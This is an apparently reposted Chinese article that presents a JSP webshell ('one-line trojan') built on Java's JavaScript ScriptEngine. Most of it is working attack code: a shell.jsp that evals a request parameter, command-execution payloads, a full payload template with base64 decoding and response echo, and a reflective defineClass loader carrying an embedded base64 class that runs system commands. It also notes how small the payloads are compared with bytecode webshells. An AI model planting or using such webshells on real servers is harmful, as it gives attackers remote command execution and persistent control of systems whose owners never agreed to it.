Java中JS引擎實現(xiàn)的一句話木馬
前言
一直以來,Java一句話木馬都是采用打入字節(jié)碼defineClass實現(xiàn)的。這種方法的優(yōu)勢是可以完整的打進去一個類,可以幾乎實現(xiàn)Java上的所有功能。不足之處就是Payload過于巨大,并且不像腳本語言一樣方便修改。并且還存在很多特征,例如繼承ClassLoader,反射調(diào)用defineClass等。本在這里提出一種Java一句話木馬:利用Java中JS引擎實現(xiàn)的一句話木馬。
基本原理
- Java沒有eval函數(shù),Js有eval函數(shù),可以把字符串當代碼解析。
- Java從1.6開始自帶ScriptEngineManager這個類,原生支持調(diào)用js,無需安裝第三方庫。
- ScriptEngine支持在Js中調(diào)用Java的對象
綜上所述,我們可以利用Java調(diào)用JS引擎的eval,然后在Payload中反過來調(diào)用Java對象,這就是本文提出的新型Java一句話的核心原理。
ScriptEngineManager全名javax.script.ScriptEngineManager,從Java 6開始自帶。其中Java 6/7采用的js解析引擎是Rhino,而從java8開始換成了Nashorn。不同解析引擎對同樣的代碼有一些差別,這點后面有所體現(xiàn)。
如果說原理其實一兩句話就可以說清楚,但是難點在于Payload的編寫??缯Z言調(diào)用最大的一個難點就是數(shù)據(jù)類型以及方法的轉(zhuǎn)換。例如Java中有byte數(shù)組,Js中沒有怎么辦?C++里有指針但是Java里沒有這個玩意怎么辦?
在實現(xiàn)期間踩了很多的坑,這篇文章跟大家一起掰扯掰扯,希望能給大家提供點幫助。
獲取腳本引擎
//通過腳本名稱獲?。? ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //簡寫為js也可以 //通過文件擴展名獲取: ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js"); //通過MIME類型來獲?。? ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
綁定對象
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6"));
或者通過eval的重載函數(shù),直接把對象通過一個HashMap放進去
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put("response", response); put("request", request); }}))
eval
綜合上面兩步,有很多種寫法,例如:
shell.jsp
<% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6")); %>
或者直接縮寫成一句:
<% new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put("response", response); put("request", request); }})); %>
以執(zhí)行命令為例:
POST:mr6=java.lang.Runtime.getRuntime().exec(“calc”);
即可達到命令執(zhí)行的效果。
基本語法
翻閱文檔比較枯燥,這里挑一些用到的說一說。
感興趣的同學也可以看一下原文檔:原文檔
調(diào)用Java方法
前面加上全限定類名即可
var s = [3]; s[0] = "cmd"; s[1] = "/c"; s[2] = "whoami";//yzddmr6 var p = java.lang.Runtime.getRuntime().exec(s); var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A"); var result = sc.hasNext() ? sc.next() : ""; sc.close();
導入Java類型
var Vector = java.util.Vector; var JFrame = Packages.javax.swing.JFrame; //這種寫法僅僅支持Nashorn,Rhino并不支持 var Vector = Java.type("java.util.Vector") var JFrame = Java.type("javax.swing.JFrame")
創(chuàng)建Java類型的數(shù)組
// Rhino var Array = java.lang.reflect.Array var intClass = java.lang.Integer.TYPE var array = Array.newInstance(intClass, 8) // Nashorn var IntArray = Java.type("int[]") var array = new IntArray(8)
導入Java類
默認情況下,Nashorn 不會導入Java的包。這樣主要為了避免類型沖突,比如你寫了一個new String,引擎怎么知道你new的是Java的String還是js的String?所以所有的Java的調(diào)用都需要加上全限定類名。但是這樣寫起來很不方便。
這個時候大聰明Mozilla Rhino 就想了一個辦法,整了個擴展文件,里面提供了importClass 跟importPackage 方法,可以導入指定的Java包。
- importClass 導入指定Java的類,現(xiàn)在推薦用Java.type
- importPackage 導入一個Java包,類似import com.yzddmr6.*,現(xiàn)在推薦用JavaImporter
這里需要注意的是,Rhino對該語法的錯誤處理機制,當被訪問的類存在時,Rhino加載該class,而當其不存在時,則把它當成package名稱,而并不會報錯。
load("nashorn:mozilla_compat.js"); importClass(java.util.HashSet); var set = new HashSet(); importPackage(java.util); var list = new ArrayList();
在一些特殊情況下,導入的全局包會影響js中的函數(shù),例如類名沖突。這個時候可以用JavaImporter,并配合with語句,對導入的Java包設(shè)定一個使用范圍。
// create JavaImporter with specific packages and classes to import var SwingGui = new JavaImporter(javax.swing, javax.swing.event, javax.swing.border, java.awt.event); with (SwingGui) { // 在with里面才可以調(diào)用swing里面的類,防止污染 var mybutton = new JButton("test"); var myframe = new JFrame("test"); }
方法調(diào)用與重載
方法在JavaScript中實際上是對象的一個屬性,所以除了使用 . 來調(diào)用方法之外,也可以使用[]來調(diào)用方法:
var System = Java.type('java.lang.System'); System.out.println('Hello, World'); // Hello, World System.out['println']('Hello, World'); // Hello, World
Java支持重載(Overload)方法,例如,System.out 的 println 有多個重載版本,如果你想指定特定的重載版本,可以使用[]指定參數(shù)類型。例如:
var System = Java.type('java.lang.System'); System.out['println'](3.14); // 3.14 System.out['println(double)'](3.14); // 3.14 System.out['println(int)'](3.14); // 3
Payload結(jié)構(gòu)設(shè)計
詳情寫在注釋里了
//導入基礎(chǔ)拓展 try { load("nashorn:mozilla_compat.js"); } catch (e) {} //導入常見包 importPackage(Packages.java.util); importPackage(Packages.java.lang); importPackage(Packages.java.io); var output = new StringBuffer(""); //輸出 var cs = "${jspencode}"; //設(shè)置字符集編碼 var tag_s = "${tag_s}"; //開始符號 var tag_e = "${tag_e}"; //結(jié)束符號 try { response.setContentType("text/html"); request.setCharacterEncoding(cs); response.setCharacterEncoding(cs); function decode(str) { //參數(shù)解碼 str = str.substr(2); var bt = Base64DecodeToByte(str); return new java.lang.String(bt, cs); } function Base64DecodeToByte(str) { importPackage(Packages.sun.misc); importPackage(Packages.java.util); var bt; try { bt = new BASE64Decoder().decodeBuffer(str); } catch (e) { bt = Base64.getDecoder().decode(str); } return bt; } function asoutput(str) { //回顯加密 return str; } function func(z1) { //eval function return z1; } output.append(func(z1)); //添加功能函數(shù)回顯 } catch (e) { output.append("ERROR:// " + e.toString()); //輸出錯誤 } try { response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回顯 } catch (e) {}
語法問題的坑
兩種語言對象間的相互轉(zhuǎn)換
要注意的是,在遇到Java跟JS可能存在類型沖突的地方,即使導入了包也要加上全限定類名。
在編寫payload的時候被坑了很久的一個問題就是,在導入java.lang以后寫new String(bt,cs)沒有加全限定類名,導致打印出來的一直是一個字符串地址。
正確的操作是new java.lang.String(bt,cs)。因為在Java和Js中均存在String類,按照優(yōu)先級,直接new出來的會是Js的對象。
下面附上類型對比表:
JavaScript Value | JavaScript Type | Java Type | Is Scriptable | Is Function |
---|---|---|---|---|
{a:1, b:[‘x’,‘y’]} | object | org.mozilla.javascript.NativeObject | + | - |
[1,2,3] | object | org.mozilla.javascript.NativeArray | + | - |
1 | number | java.lang.Double | - | - |
1.2345 | number | java.lang.Double | - | - |
NaN | number | java.lang.Double | - | - |
Infinity | number | java.lang.Double | - | - |
-Infinity | number | java.lang.Double | - | - |
true | boolean | java.lang.Boolean | - | - |
“test” | string | java.lang.String | - | - |
null | object | null | - | - |
undefined | undefined | org.mozilla.javascript.Undefined | - | - |
function () { } | function | org.mozilla.javascript.gen.c1 | + | + |
/.*/ | object | org.mozilla.javascript.regexp.NativeRegExp | + | + |
Rhino/Nashorn解析的差異
這也是當時一個坑點,看下面一段代碼
var readonlyenv = System.getenv(); var cmdenv = new java.util.HashMap(readonlyenv); var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|"); for (var i = 0; i < envs.length; i++) { var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|"); if (es.length == 2) { cmdenv.put(es[0], es[1]); } } var e = []; var i = 0; print(cmdenv+'\n'); for (var key in cmdenv) {//關(guān)鍵 print("key: "+key+"\n"); e[i] = key + "=" + cmdenv[key]; i++; }
其中cmdenv是個HashMap,這段代碼在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的時候把cmdenv的鍵給輸出了
但是在Java 6下運行時,Rhino把他當成了一個js對象,把其屬性輸出了
所以涉及到這種混合寫法就會有異議,不同的引擎有不同的解釋。
解決辦法使用Java迭代器即可,不摻雜js的寫法。
var i = 0; var iter = cmdenv.keySet().iterator(); while (iter.hasNext()) { var key = iter.next(); var val = cmdenv.get(key); //print("\nkey:" + key); //print("\nval:" + val); e[i] = key + "=" + val; i++; }
反射的坑
在Java中,如果涉及到不同版本之間類的包名不一樣,我們通常不能直接導入,而要使用反射的寫法。
例如base64解碼的時候,Java的寫法如下
public byte[] Base64DecodeToByte(String str) { byte[] bt = null; String version = System.getProperty("java.version"); try { if (version.compareTo("1.9") >= 0) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } else { Class clazz = Class.forName("sun.misc.BASE64Decoder"); bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } return bt; } catch (Exception e) { return new byte[]{}; } }
改寫成js風格后,發(fā)現(xiàn)會有一些奇奇怪怪的BUG。(后來發(fā)現(xiàn)反射其實也可以實現(xiàn),導入Java類型然后再傳入反射參數(shù)即可,就是比較麻煩)
function test(str) { var bt = null; var version = System.getProperty("java.version"); if (version.compareTo("1.9") >= 0) { var clazz = java.lang.Class.forName("java.util.Base64"); var decoder = clazz.getMethod("getDecoder").invoke(null); bt = decoder .getClass() .getMethod("decode", java.lang.String.class) .invoke(decoder, str); } else { var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder"); bt = clazz .getMethod("decodeBuffer", java.lang.String.class) .invoke(clazz.newInstance(), str); } return bt; }
但是在Js中,我們并不需要這么麻煩。上面提到過如果importPackage了一個不存在的包名,Js引擎會將這個錯誤給忽略,并且由于Js松散的語言特性,我們僅僅需要正射+異常捕獲就可以完成目的。大大減小了payload編寫的復雜度。
function Base64DecodeToByte(str) { importPackage(Packages.sun.misc); importPackage(Packages.java.util); var bt; try { bt = new BASE64Decoder().decodeBuffer(str); } catch (e) { bt = Base64.getDecoder().decode(str); } return bt; }
保底操作
理論上,我們可以用js引擎的一句話實現(xiàn)所有字節(jié)碼一句話的功能,退一萬步講,如果有些功能實在不好實現(xiàn),或者說想套用現(xiàn)有的payload應該怎么辦呢。
我們可以用java調(diào)用js后,再調(diào)用defineClass來實現(xiàn):
編寫一個命令執(zhí)行的類:calc.java
import java.io.IOException; public class calc { public calc(String cmd){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } }
編譯之后base64一下
> base64 -w 0 calc.class yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA
填入下方payload
try { load("nashorn:mozilla_compat.js"); } catch (e) {} importPackage(Packages.java.util); importPackage(Packages.java.lang); importPackage(Packages.java.io); var output = new StringBuffer(""); var cs = "UTF-8"; response.setContentType("text/html"); request.setCharacterEncoding(cs); response.setCharacterEncoding(cs); function Base64DecodeToByte(str) { importPackage(Packages.sun.misc); importPackage(Packages.java.util); var bt; try { bt = new BASE64Decoder().decodeBuffer(str); } catch (e) { bt = new Base64().getDecoder().decode(str); } return bt; } function define(Classdata, cmd) { var classBytes = Base64DecodeToByte(Classdata); var byteArray = Java.type("byte[]"); var int = Java.type("int"); var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod( "defineClass", byteArray.class, int.class, int.class ); defineClassMethod.setAccessible(true); var cc = defineClassMethod.invoke( Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length ); return cc.getConstructor(java.lang.String.class).newInstance(cmd); } output.append( define( "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==", "calc" ) ); response.getWriter().print(output);
成功彈出計算器
也就是說,新型一句話在特殊情況下,還可以繼續(xù)兼容原有的字節(jié)碼一句話,甚至復用原有的Payload。
測試
測試環(huán)境:Java>=6
同樣的列目錄Payload,原有的字節(jié)碼方式數(shù)據(jù)包長度為7378,而新型JSP一句話僅僅為2481,差不多為原有的三分之一。
列目錄
中文測試
虛擬終端
數(shù)據(jù)庫連接
最后
基于JS引擎的Java一句話體積更小,變化種類更多,使用起來更靈活。范圍為Java 6及以上,基本可以滿足需求,但是Payload寫起來非常麻煩,也不好調(diào)試,算是有利有弊。
提出新型一句話并不是說一定要取代原有的打入字節(jié)碼的方式,只是在更復雜情況下,可以提供給滲透人員更多的選擇。
以上就是Java中JS引擎實現(xiàn)的一句話木馬的詳細內(nèi)容,更多關(guān)于JS引擎實現(xiàn)一句話木馬的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
JavaWeb基于Session實現(xiàn)的用戶登陸注銷方法示例
為了安全起見,session常常用來保存用戶的登錄信息。那么服務器是怎么來實現(xiàn)的呢?下面這篇文章就來給大家介紹了關(guān)于JavaWeb基于Session實現(xiàn)的用戶登陸注銷的相關(guān)資料,需要的朋友可以參考借鑒,下面隨著小編來一起學習學習吧。2017-12-12java實現(xiàn)微信小程序加密數(shù)據(jù)解密算法
這篇文章主要為大家詳細介紹了java實現(xiàn)微信小程序加密數(shù)據(jù)解密算法,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-09-09淺談Spring Cloud中的API網(wǎng)關(guān)服務Zuul
這篇文章主要介紹了淺談Spring Cloud中的API網(wǎng)關(guān)服務Zuul,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2017-10-10基于Ok+Rxjava+retrofit實現(xiàn)斷點續(xù)傳下載
這篇文章主要為大家詳細介紹了基于Ok+Rxjava+retrofit實現(xiàn)斷點續(xù)傳下載,具有一定的參考價值,感興趣的小伙伴們可以參考一下2019-06-06